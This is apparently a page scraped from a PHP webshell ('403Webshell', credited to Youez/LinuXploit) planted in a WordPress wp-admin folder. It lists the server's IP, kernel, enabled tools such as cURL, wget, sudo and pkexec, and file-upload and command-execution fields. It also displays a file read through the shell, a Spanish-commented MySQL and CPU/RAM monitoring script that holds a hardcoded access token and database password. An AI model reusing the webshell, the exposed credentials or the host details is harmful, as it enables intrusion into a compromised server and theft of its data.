403Webshell
Server IP : 137.184.226.51  /  Your IP : 10.8.0.1
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/drakkar_site/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/drakkar_site/wp-admin/monitoreo.php
<?php 
if(isset($_POST["token"]) && $_POST["token"]=="858cfae4-9c29-4021-9484-b669ae1725fe"){
$status = "Online";
$sistopera = PHP_OS;

// Create PDO instance (connect to DB)
try{
$pdo = new PDO("mysql:host=localhost;dbname=monitoreo", "monitoreo", "6DrOGkPFjrNF-B[f");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// ensenar la database en su totalidad
$prslist = $pdo->query("SHOW FULL PROCESSLIST");
$rows = $prslist->fetchAll(PDO::FETCH_ASSOC);
if (empty($rows)) {
    $rows = null;
}

// ensenar las conexciones de la database
$usrconec = $pdo->query("SELECT user, host, COUNT(*) AS conexiones
FROM information_schema.processlist
GROUP BY user, host
ORDER BY conexiones DESC;");
$userrows = $usrconec->fetchAll(PDO::FETCH_ASSOC);
if (empty($userrows)) {
    $userrows = null;
}

//Mostrar slow querys y lonq querys
$longquery = $pdo->query("SHOW VARIABLES LIKE 'long_query_time'");
$longrows = $longquery->fetchAll(PDO::FETCH_ASSOC);
if (empty($longrows)) {
    $longrows = null;
}

$slowquery = $pdo->query("SHOW VARIABLES LIKE 'slow_query_log'");
$slowrows = $slowquery->fetchAll(PDO::FETCH_ASSOC);
if ($slowrows[0]['Value'] === "OFF") {
    $slowrows[0]['Value'] = null;
}


//Ver cuántas queries lentas se han registrado
$numslow = $pdo->query("SHOW GLOBAL STATUS LIKE 'Slow_queries'");
$numslowrows = $numslow->fetchAll(PDO::FETCH_ASSOC);
if (empty($numslowrows)) {
    $numslowrows = null;
}
$rowlockact = null;
$rowtransacbloq = null; 
//Locks actuales
try{
$lockact = $pdo->query("SELECT * FROM information_schema.innodb_lock_waits");
$rowlockact = $lockact->fetchAll(PDO::FETCH_ASSOC);
// Transacciones bloqueadas
$transacbloq = $pdo->query("SELECT
    r.trx_id AS waiting_trx_id,
    r.trx_mysql_thread_id AS waiting_thread,
    r.trx_query AS waiting_query,
    b.trx_id AS blocking_trx_id,
    b.trx_mysql_thread_id AS blocking_thread,
    b.trx_query AS blocking_query
FROM information_schema.innodb_lock_waits w
JOIN information_schema.innodb_trx r ON w.requesting_trx_id = r.trx_id
JOIN information_schema.innodb_trx b ON w.blocking_trx_id = b.trx_id");
$rowtransacbloq = $transacbloq->fetchAll(PDO::FETCH_ASSOC);
}catch(Exception $e){

};

//Monitorear uso de índices

$indc = $pdo->query("SELECT  table_schema, table_name, index_name, seq_in_index, column_name, cardinality
FROM information_schema.statistics
ORDER BY table_schema, table_name, index_name, seq_in_index"); 
$rowindc = $indc->fetchAll(PDO::FETCH_ASSOC);

// Ver uso de memoria por MySQL
$tama = $pdo->query("SHOW VARIABLES LIKE 'innodb_buffer_pool_size'");
$rowtam = $tama->fetchAll(PDO::FETCH_ASSOC);

$buffpool = $pdo->query("SHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool%'");
$rowbufpool = $buffpool->fetchAll(PDO::FETCH_ASSOC);


// Close connection
$pdo = null;
}catch (PDOException $e) {
    // Catch and display the error message
    $rows = null;
    $userrows = null;
    $slowrows = null;
    $longrows = null;
    $numslowrows = null;
    $rowlockact = null;
    $rowtransacbloq = null;
    $rowindc = null;
    $rowtam = null;
    $rowbufpool = null;
}

if(strpos($sistopera,'WIN')>-1){
if (!class_exists('COM')) {
    die("La extensión COM no está habilitada en PHP.");
}

    $wmi = new COM('WinMgmts://');
    // ------ CPU ------
    $cpuInfo = $wmi->ExecQuery("SELECT LoadPercentage FROM Win32_Processor");

    $cpuLoad = 0;
    $cpuCount = 0;

    foreach ($cpuInfo as $cpu) {
        $cpuLoad += $cpu->LoadPercentage;
        $cpuCount++;
    }

    // Evitar división entre cero
    if ($cpuCount > 0) {
        $cpuLoad = $cpuLoad / $cpuCount;
    } else {
        $cpuLoad = 0;
    }

    // ------ RAM ------
    $ramInfo = $wmi->ExecQuery("SELECT FreePhysicalMemory, TotalVisibleMemorySize FROM Win32_OperatingSystem");
    foreach ($ramInfo as $ram) {
        $totalRAM = $ram->TotalVisibleMemorySize;  // KB
        $freeRAM  = $ram->FreePhysicalMemory;       // KB
    }

    $usedRAM = $totalRAM - $freeRAM;
    $ramUsagePercent = ($usedRAM / $totalRAM) * 100;

    // ------ MOSTRAR ------
	$info_sistemaoperativo = (object) array('cpu' => $cpuLoad, 'ram' => $ramUsagePercent, 'Sistema Operativo' => $sistopera);
}

	$cpu = shell_exec("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} {print usage}'");
	$ram = shell_exec("free -m -h -t | grep T | awk '{usage=($3*100)/$2}   {print usage}'");
	$cpuLoad = floatval($cpu);
	$ramUsagePercent = floatval($ram); 
	$sistopera = PHP_OS;
	$info_sistemaoperativo = (object) array('cpu' => $cpuLoad, 'ram' => $ramUsagePercent, 'Sistema Operativo' => $sistopera); 


}else{
$status = "ERROR";
if($status == "ERROR"){ 
	$msg = "server not found";
	http_response_code(404);
	$codestatus = http_response_code();
	$inter_error = (object) array('status' => $status);
	echo json_encode($inter_error);
	exit;
}
}

$result = (object) array('status' => $status,'cpu' => $cpuLoad, 'ram' => $ramUsagePercent, 'sistema_operativo' => $sistopera,
			 'rows' => $rows,'useconnections' => $userrows, 'slowrows' => $slowrows,
			 'longquery' =>  $longrows, 'Num. slow row' => $numslowrows, 'Locks actuales' => $rowlockact, 
			 'Transacciones bloqueadas'=> $rowtransacbloq, 'Uso de Indices' => $rowindc, 
			 'Size of the pool' => $rowtam, 'Buffer pool' => $rowbufpool);
echo json_encode($result,true);


?>

Youez - 2016 - github.com/yon3zu
LinuXploit